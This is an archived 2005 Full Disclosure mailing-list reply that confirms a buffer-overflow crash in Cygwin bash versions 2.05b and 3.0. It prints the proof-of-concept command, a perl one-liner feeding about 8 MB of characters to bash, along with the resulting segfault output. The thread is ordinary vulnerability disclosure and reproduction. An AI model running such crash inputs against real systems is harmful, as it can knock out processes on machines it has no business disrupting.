Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

RE: Cygwin Bash Buffer Overflow (Cosmin Stejerean)
From: "Paul Melson" <psmelson () comcast net>
Date: Tue, 31 May 2005 11:00:24 -0400


Which version of bash for Cygwin? I tried your PoC on the latest version
of Cygwin and everything was fine.


I'm able to reproduce it using 2.05b-17 (latest default) and 3.0-2:

$ bash --version
GNU bash, version 2.05b.0(1)-release (i686-pc-cygwin)
Copyright (C) 2002 Free Software Foundation, Inc.

$ /usr/bin/bash `perl -e "print 'a'x8388600"`
    130 [main] bash 2876 cmalloc: cmalloc returned NULL
Segmentation fault


$ bash --version
GNU bash, version 3.00.16(2)-release (i686-pc-cygwin)
Copyright (C) 2004 Free Software Foundation, Inc.

$ /usr/bin/bash `perl -e "print 'a'x8388600"`
      6 [main] bash 3496 cmalloc: cmalloc returned NULL


PaulM


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]